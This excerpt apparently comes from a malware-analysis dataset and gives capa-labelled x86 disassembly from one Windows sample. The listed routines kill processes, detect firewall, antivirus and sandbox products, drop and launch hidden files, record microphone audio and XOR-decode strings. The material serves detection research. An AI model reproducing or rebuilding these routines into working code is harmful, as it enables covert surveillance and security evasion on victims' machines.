joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405490
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
lea eax, [ebp - 0x134]
push eax
push ebx
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4055a1
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x4054d0
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4054e0
sub eax, edx
inc eax
push eax
call fcn.0041fbf7
mov esi, eax
lea eax, [ebp - 0x110]
mov edx, esi
mov ecx, eax
add esp, 4
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x405501
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405510
sub eax, edx
mov edx, eax
xor ecx, ecx
test edx, edx
jle 0x405536
mov al, byte [ecx + esi]
cmp al, 0x41
jl 0x405531
cmp al, 0x5a
jg 0x405531
add al, 0x20
mov byte [ecx + esi], al
inc ecx
cmp ecx, edx
jl 0x405521
mov ecx, dword [ebp + 8]
mov eax, esi
jmp 0x405540
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x405560
test dl, dl
je 0x40555c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x405560
add eax, 2
add ecx, 2
test dl, dl
jne 0x405540
xor eax, eax
jmp 0x405565
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x405582
mov edx, dword [ebp - 0x12c]
push edx
push eax
push 1
call edi
test eax, eax
je 0x405582
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.004208b9
add esp, 4
lea eax, [ebp - 0x134]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4054d0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.00420826
mov esp, ebp
pop ebp
ret

Function at 0x4055c0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push 0x184
push 0
push esi
xor bl, bl
call fcn.00428e90
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SoftwareClasses.exe_shellopencommand
push connect
mov dword [ebp - 8], 0x184
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x405624
lea ecx, [ebp - 8]
push ecx
push esi
push 0
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40561a
mov bl, 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405f30
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp byte [0x443a58], 0
jne 0x405fdc
push ebx
call fcn.004053c0
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x405f5d
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405f54
sub eax, edx
add eax, 0x104
push eax
call fcn.0041fbf7
add esp, 4
lea ecx, [ebp - 4]
push ecx
push eax
mov dword [0x443a30], eax
mov dword [ebp - 4], 0x100
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test ebx, ebx
je 0x405fd4
mov ecx, dword [0x443a30]
push esi
push edi
lea edi, [ecx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x405f91
mov dx, word [0x43b788]
mov eax, ebx
mov word [edi], dx
mov esi, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x405fa7
sub eax, esi
lea edi, [ecx - 1]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x405fb3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
call fcn.004208b9
add esp, 4
pop edi
pop esi
mov byte [0x443a58], 1
pop ebx
mov eax, dword [0x443a30]
mov esp, ebp
pop ebp
ret

Function at 0x405ff0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x43b2d4
push eax
call fcn.004218f3
mov esi, eax
add esp, 8
test esi, esi
je 0x4060d1
push ebx
push edi
push 2
push 0
push esi
call fcn.0042213b
push esi
call fcn.0042204c
mov edi, eax
push edi
call fcn.0041fbf7
push 0
push 0
push esi
mov dword [ebp - 4], eax
call fcn.0042213b
add esp, 0x20
xor ebx, ebx
test edi, edi
jle 0x406066
lea ecx, [ecx]
push esi
call fcn.00420b45
add esp, 4
test eax, eax
jne 0x406066
mov ecx, dword [ebp - 4]
push esi
push 1
lea edx, [ebx + ecx]
push 1
push edx
call fcn.00421c4a
inc ebx
add esp, 0x10
cmp ebx, edi
jl 0x406040
push esi
call fcn.00422275
add esp, 4
xor eax, eax
xor ecx, ecx
test edi, edi
jle 0x406092
cmp ecx, dword [ebp + 0x10]
jl 0x40607e
xor ecx, ecx
mov edx, dword [ebp + 0xc]
mov dl, byte [ecx + edx]
mov esi, dword [ebp - 4]
neg dl
xor byte [eax + esi], dl
inc eax
inc ecx
cmp eax, edi
jl 0x406077
mov eax, dword [ebp + 8]
push 0x43b2dc
push eax
call fcn.004218f3
mov esi, eax
add esp, 8
test esi, esi
je 0x4060c8
mov ecx, dword [ebp - 4]
push esi
push edi
push 1
push ecx
call fcn.00421e3e
push esi
call fcn.00422275
add esp, 0x14
pop edi
pop ebx
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4060e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, 0x43c70c
mov dword [ebp - 8], 0
mov eax, dword [ebx]
inc eax
push eax
call fcn.0041fbf7
mov edi, eax
xor eax, eax
add esp, 4
mov dword [ebp - 4], edi
cmp dword [ebx], eax
jbe 0x406122
lea esp, [esp]
mov ecx, dword [ebx + 4]
mov dl, byte [ecx + eax]
xor dl, byte [ebx - 4]
inc eax
mov byte [eax + edi - 1], dl
cmp eax, dword [ebx]
jb 0x406110
mov byte [eax + edi], 0
mov ecx, dword [0x443b10]
mov edx, dword [0x443b0c]
lea eax, [ebp - 4]
cmp eax, ecx
jae 0x4061a9
cmp edx, eax
ja 0x4061a9
mov esi, dword [0x443b14]
mov edi, eax
sub edi, edx
sar edi, 2
cmp ecx, esi
jne 0x40619e
mov eax, ecx
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x40622c
sub esi, edx
inc eax
sar esi, 2
cmp eax, esi
jbe 0x40619e
mov ecx, esi
mov edx, ecx
shr edx, 1
mov esi, 0x3fffffff
sub esi, edx
cmp esi, ecx
jae 0x40617f
xor ecx, ecx
jmp 0x406181
add ecx, edx
cmp ecx, eax
jae 0x406187
mov ecx, eax
push ecx
mov esi, 0x443b0c
call fcn.004062a0
mov ecx, dword [0x443b10]
mov edx, dword [0x443b0c]
test ecx, ecx
je 0x406205
mov edx, dword [edx + edi*4]
mov dword [ecx], edx
jmp 0x4061ff
mov esi, dword [0x443b14]
cmp ecx, esi
jne 0x4061f9
mov eax, ecx
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x40622c
sub esi, edx
mov edx, esi
inc eax
sar edx, 2
cmp eax, edx
jbe 0x4061f9
mov ecx, edx
shr edx, 1
mov esi, 0x3fffffff
sub esi, edx
cmp esi, ecx
jae 0x4061e0
xor ecx, ecx
jmp 0x4061e2
add ecx, edx
cmp ecx, eax
jae 0x4061e8
mov ecx, eax
push ecx
mov esi, 0x443b0c
call fcn.004062a0
mov ecx, dword [0x443b10]
test ecx, ecx
je 0x406205
mov dword [ecx], edi
mov ecx, dword [0x443b10]
mov eax, dword [ebp - 8]
add eax, 0xc
add ecx, 4
add ebx, 0xc
mov dword [0x443b10], ecx
mov dword [ebp - 8], eax
cmp eax, 0x1e0
jb 0x4060f5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.vector_T__too_long
call fcn.004202a1
int3
Function at 0x4076c0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push esi
push edi
push str.PROGRAMFILES
call fcn.0042097e
mov esi, eax
push str.SYSTEMDRIVE
mov dword [ebp - 4], esi
call fcn.0042097e
mov edi, eax
mov eax, esi
add esp, 8
mov dword [ebp - 8], edi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4076f0
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407700
sub eax, esi
lea eax, [eax + edx + 0x80]
push ebx
push eax
call fcn.0041fbf7
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
add esp, 4
mov esi, eax
mov dword [ebp - 0x48], str.Agnitum
mov dword [ebp - 0x44], str.COMODO
mov dword [ebp - 0x40], str.Zone_Labs
mov dword [ebp - 0x3c], str.AtGuard
mov dword [ebp - 0x38], str.kerioWinRoute_Firewall
mov dword [ebp - 0x34], str.Norton_Internet_Security
mov dword [ebp - 0x30], str.Sygate
mov dword [ebp - 0x2c], str.ISSBlackICE
mov dword [ebp - 0x28], str.VisNetic_Firewall
mov dword [ebp - 0x24], str.Soft4Everlooknstop
mov dword [ebp - 0x20], str.Kaspersky_LabKaspersky_Anti_Hacker
mov dword [ebp - 0x1c], str.Tiny_Personal_Firewall
mov dword [ebp - 0x18], str.McAfeeMPF
xor edi, edi
nop
mov ecx, dword [ebp + edi*4 - 0x48]
mov edx, dword [ebp - 4]
push ecx
push edx
push 0x43b244
push esi
call fcn.00420835
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x4077a6
inc edi
cmp edi, 0xd
jl 0x407780
jmp 0x4077ad
mov byte [0x443a5a], 1
mov dword [ebp - 0x14], str.VSAMAS
mov dword [ebp - 0x10], str.cwsandbox
mov dword [ebp - 0xc], str.WindowsSystem32_aswcmdasw.exe
xor edi, edi
mov eax, dword [ebp + edi*4 - 0x14]
mov ecx, dword [ebp - 8]
push eax
push ecx
push 0x43b244
push esi
call fcn.00420835
add esp, 0x10
push esi
call ebx
test eax, eax
jne 0x4077f8
inc edi
cmp edi, 3
jl 0x4077c4
pop ebx
push esi
call fcn.004208b9
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push esi
call fcn.004208b9
add esp, 4
push 0
call fcn.00422df5
int3
Function at 0x408580
Capabilities:
Check if file exists
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.00401330
mov edi, eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4085c3
push edi
call fcn.00422e5d
add esp, 4
push edi
call fcn.00402010
add esp, 4
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4085c8
sub eax, edx
add eax, 8
push eax
call fcn.0041fbf7
add esp, 4
push edi
mov esi, eax
push str._s
push esi
mov dword [ebp - 0x138], esi
call fcn.00420835
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push esi
call fcn.004227b2
add esp, 8
mov dword [ebp - 0x134], eax
test eax, eax
je 0x4086f3
cmp eax, 0xffffffff
je 0x4086f3
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408626
sub eax, edx
mov edx, eax
lea eax, [ebp - 0x10c]
lea esi, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408640
sub eax, esi
lea ecx, [eax + edx + 8]
push ecx
call fcn.0041fbf7
add esp, 4
lea edx, [ebp - 0x10c]
push edx
push edi
mov esi, eax
push 0x43b244
push esi
call fcn.00420835
lea eax, [ebp - 0x10c]
push str..dll
push eax
call fcn.004226b0
add esp, 0x18
test eax, eax
je 0x40868c
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x4086b7
lea ecx, [ebp - 0x10c]
push str..exe
push ecx
call fcn.004226b0
add esp, 8
test eax, eax
je 0x4086b7
push 5
push 0
push 0x43b460
push esi
push str.open
push 0
call ebx
push esi
call fcn.004208b9
mov eax, dword [ebp - 0x134]
add esp, 4
lea edx, [ebp - 0x130]
push edx
push eax
call fcn.004228d9
add esp, 8
test eax, eax
je 0x408621
mov ecx, dword [ebp - 0x134]
push ecx
call fcn.00422a07
mov esi, dword [ebp - 0x138]
add esp, 4
push esi
call fcn.004208b9
add esp, 4
push edi
call fcn.004208b9
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420826
mov esp, ebp
pop ebp
ret
Function at 0x4088d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
push 0
call fcn.004209f8
add esp, 4
push eax
call fcn.004208c4
add esp, 4
call fcn.00407300
call fcn.00407810
call fcn.004076c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x408720
push 0
push 0
call esi
cmp byte [0x443a5b], 0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jne 0x40892f
push 0x32
call ebx
cmp byte [0x443a5b], 0
je 0x408922
call fcn.00407dc0
push 0
push 0
push 0
push 0x408350
push 0
push 0
call esi
call fcn.00406380
push 0
push 0
push 0
push 0x406960
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406520
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4065e0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406c10
push 0
push 0
call esi
call fcn.00408580
push 0
push 0
push 0
push 0x408a50
push 0
push 0
call esi
push 0
push 0
push 0
push 0x408d40
push 0
push 0
call esi
push 0
push 0
push 0
push 0x409bc0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x409c20
push 0
push 0
call esi
mov edi, dword [ebp + 8]
push 0
push 0
push edi
push 0x409e60
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40a100
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40a820
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40b020
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40bfb0
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40c990
push 0
push 0
call esi
lea ebx, [ebx]
push 0x493e0
call ebx
jmp 0x408a40

Function at 0x409dd0
Capabilities:
Capture microphone audio

Disassembly:
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409dd5
push esi
sub eax, edx
add eax, 0x20
push edi
push eax
call fcn.0041fbf7
mov esi, dword [sym.imp.WINMM.dll_mciSendStringA]
add esp, 4
push 0
push 0
push 0
push str.open_new_type_waveaudio_alias_mic_buffer_6
mov edi, eax
call esi
push 0
push 0
push 0
push str.record_mic
call esi
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push str.stop_mic
call esi
push ebx
push str.save_mic__s
push edi
call fcn.00420835
add esp, 0xc
push 0
push 0
push 0
push edi
call esi
push 0
push 0
push 0
push str.close_mic
call esi
push edi
call fcn.004208b9
add esp, 4
pop edi
pop esi
ret
Function at 0x40a6b0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a818
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a6d0
sub eax, edx
push eax
call fcn.0041fbf7
mov esi, eax
mov eax, edi
add esp, 4
mov dword [ebp - 4], esi
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40a6f0
sub eax, ecx
push eax
call fcn.0041fbf7
push eax
push esi
push 0
push 0
push edi
mov dword [ebp - 8], eax
call fcn.00423193
add esp, 0x18
call fcn.004015f0
cmp byte [0x443a59], 0
mov dword [ebp - 0xc], eax
jne 0x40a72e
call fcn.004060e0
mov byte [0x443a59], 1
mov eax, dword [0x443b0c]
mov eax, dword [eax + 0x94]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a740
sub eax, edx
mov ebx, eax
call fcn.00405f30
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a753
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a763
sub eax, esi
add eax, edx
lea ecx, [eax + ebx + 0x80]
push ecx
call fcn.0041fbf7
add esp, 4
cmp byte [0x443a59], 0
mov esi, eax
jne 0x40a795
call fcn.004060e0
mov byte [0x443a59], 1
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, dword [0x443b0c]
mov ebx, dword [edx + 0x94]
push eax
push ecx
call fcn.00405f30
push eax
push ebx
push str._s_comp_sext_s._s
push esi
call fcn.00420835
mov ebx, dword [ebp - 0xc]
push esi
mov edx, edi
mov ecx, ebx
call fcn.00404910
add esp, 0x1c
test eax, eax
jne 0x40a7f7
nop
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a7f7
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov edx, edi
mov ecx, ebx
call fcn.00404910
add esp, 4
test eax, eax
je 0x40a7d0
mov edx, dword [ebp - 4]
push edx
call fcn.004208b9
mov eax, dword [ebp - 8]
push eax
call fcn.004208b9
push ebx
call fcn.004208b9
push esi
call fcn.004208b9
add esp, 0x10
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x420826
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x440480]
jne 0x420830
repz ret
jmp fcn.004253b1

Function at 0x432a11
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x440480]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00426493
and dword [ebp - 0x14], 0
cmp dword [0x44395c], 0
mov dword [ebp - 0x18], eax
jne 0x432ac4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x432b6c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x432b6c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x44395c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x443960], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x443964], eax
call edi
push eax
call esi
mov dword [0x44396c], eax
test eax, eax
je 0x432ac4
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x443968], eax
mov eax, dword [0x443968]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x432b1d
cmp dword [0x44396c], ecx
je 0x432b1d
push eax
call esi
push dword [0x44396c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x432b1d
test ebx, ebx
je 0x432b1d
call edi
test eax, eax
je 0x432b14
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x432b14
test byte [ebp - 8], 1
jne 0x432b1d
or dword [ebp + 0x10], 0x200000
jmp 0x432b50
mov eax, dword [0x443960]
cmp eax, dword [ebp - 0x18]
je 0x432b50
push eax
call esi
test eax, eax
je 0x432b50
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x432b50
mov eax, dword [0x443964]
cmp eax, dword [ebp - 0x18]
je 0x432b50
push eax
call esi
test eax, eax
je 0x432b50
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x44395c]
call esi
test eax, eax
je 0x432b6c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x432b6e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00420826
leave
ret
Function at 0x207f166
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push esi
mov esi, dword [edx]
push edi
mov edx, 0x1002b004
xor ecx, dword [edx - 4]
add edx, 0x10
mov dword [ebp - 4], ecx
movzx eax, byte [ebp - 1]
mov eax, dword [eax*4 + 0x1002b048]
movzx edi, byte [ebp - 2]
add eax, dword [edi*4 + 0x1002b448]
movzx edi, ch
xor eax, dword [edi*4 + 0x1002b848]
movzx edi, cl
add eax, dword [edi*4 + 0x1002bc48]
xor eax, esi
xor eax, dword [edx - 0x10]
mov esi, ecx
mov dword [ebp - 4], eax
movzx ecx, byte [ebp - 1]
movzx edi, byte [ebp - 2]
mov ecx, dword [ecx*4 + 0x1002b048]
add ecx, dword [edi*4 + 0x1002b448]
movzx edi, ah
xor ecx, dword [edi*4 + 0x1002b848]
movzx edi, al
add ecx, dword [edi*4 + 0x1002bc48]
xor ecx, esi
xor ecx, dword [edx - 0xc]
mov esi, eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp - 1]
movzx edi, byte [ebp - 2]
mov eax, dword [eax*4 + 0x1002b048]
add eax, dword [edi*4 + 0x1002b448]
movzx edi, ch
xor eax, dword [edi*4 + 0x1002b848]
movzx edi, cl
add eax, dword [edi*4 + 0x1002bc48]
xor eax, esi
xor eax, dword [edx - 8]
mov dword [ebp - 4], eax
movzx esi, byte [ebp - 1]
movzx edi, byte [ebp - 2]
mov esi, dword [esi*4 + 0x1002b048]
add esi, dword [edi*4 + 0x1002b448]
movzx edi, ah
xor esi, dword [edi*4 + 0x1002b848]
movzx edi, al
add esi, dword [edi*4 + 0x1002bc48]
xor ecx, esi
mov esi, eax
cmp edx, 0x1002b044
jl 0x207f17b
mov edx, dword [0x1002b040]
xor edx, ecx
mov ecx, dword [ebp + 0xc]
mov dword [ecx], edx
mov edx, dword [0x1002b044]
xor edx, eax
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], edx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x207f496
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
movzx edx, byte [ecx + 0x1d]
push ebx
push esi
mov esi, dword [ebp + 8]
mov al, byte [esi + 1]
xor dl, al
xor byte [esi], dl
movzx ebx, byte [ecx + 0x1c]
mov dl, byte [esi + 2]
xor bl, dl
xor bl, al
mov al, byte [esi + 3]
mov byte [esi + 1], bl
movzx ebx, byte [ecx + 0x1b]
xor bl, al
xor bl, dl
mov byte [esi + 2], bl
movzx edx, byte [ecx + 0x1a]
xor dl, al
mov eax, dword [ebp + 0xc]
dec eax
mov byte [esi + 3], dl
cmp eax, 1
jl 0x207f4ee
mov bl, byte [eax + esi - 1]
mov edx, eax
and edx, 7
xor bl, byte [edx + ecx + 0x18]
dec eax
xor byte [eax + esi + 1], bl
cmp eax, 1
jge 0x207f4d7
movzx eax, byte [ecx + 0x18]
xor byte [esi], al
mov eax, dword [esi + 4]
xor byte [ecx + 0x18], al
xor byte [ecx + 0x19], ah
mov dword [ebp + 8], eax
movzx eax, byte [ebp + 0xb]
xor byte [ecx + 0x1b], al
mov dl, byte [ebp + 0xa]
xor byte [ecx + 0x1a], dl
movzx eax, byte [ecx + 0x1f]
movzx edx, byte [ecx + 0x1e]
shl eax, 8
or eax, edx
movzx edx, byte [ecx + 0x1d]
shl eax, 8
or eax, edx
movzx edx, byte [ecx + 0x1c]
shl eax, 8
or eax, edx
add eax, 0x287effc3
mov edx, eax
sar edx, 8
mov byte [ecx + 0x1d], dl
mov edx, eax
sar edx, 0x10
mov byte [ecx + 0x1c], al
sar eax, 0x18
pop esi
mov byte [ecx + 0x1e], dl
mov byte [ecx + 0x1f], al
pop ebx
pop ebp
ret 8
Function at 0x207f7b6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
movsx edx, byte [eax + 5]
push esi
push edi
movsx edi, byte [eax + 6]
mov esi, ecx
movsx ecx, byte [eax + 7]
and edi, 0xff
shl ecx, 8
or edi, ecx
movsx ecx, byte [eax + 4]
shl edi, 8
and edx, 0xff
or edi, edx
mov dl, byte [esi]
xor byte [eax], dl
shl edi, 8
and ecx, 0xff
mov edx, 1
or edi, ecx
cmp dword [ebp + 0xc], edx
jle 0x207f81d
push ebx
lea ebx, [ebx]
mov bl, byte [edx + eax - 1]
mov ecx, edx
and ecx, 7
xor bl, byte [ecx + esi]
inc edx
xor byte [edx + eax - 1], bl
cmp edx, dword [ebp + 0xc]
jl 0x207f806
pop ebx
movzx edx, byte [esi + 2]
xor byte [eax + 3], dl
movzx edx, byte [esi + 3]
xor dl, byte [eax + 3]
xor byte [eax + 2], dl
movzx edx, byte [esi + 4]
xor dl, byte [eax + 2]
xor byte [eax + 1], dl
movzx edx, byte [esi + 5]
xor dl, byte [eax]
xor dl, byte [eax + 1]
mov byte [eax], dl
xor dword [esi], edi
add dword [esi + 4], 0x287effc3
pop edi
pop esi
pop ebp
ret 8

Function at 0x207f856
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
movsx eax, byte [edx + 7]
push esi
movsx esi, byte [edx + 6]
and esi, 0xff
shl eax, 8
or esi, eax
movsx eax, byte [edx + 4]
push edi
mov edi, ecx
movsx ecx, byte [edx + 5]
shl esi, 8
and ecx, 0xff
or esi, ecx
mov ecx, dword [ebp + 0xc]
and eax, 0xff
shl esi, 8
or esi, eax
mov eax, 1
cmp ecx, eax
jle 0x207f8b4
push ebx
mov ebx, eax
and ebx, 7
mov bl, byte [ebx + edi + 8]
xor bl, byte [eax + edx - 1]
inc eax
xor byte [eax + edx - 1], bl
cmp eax, ecx
jl 0x207f89d
pop ebx
xor dword [edi + 8], esi
add dword [edi + 0xc], 0x2f501ec8
pop edi
pop esi
pop ebp
ret 8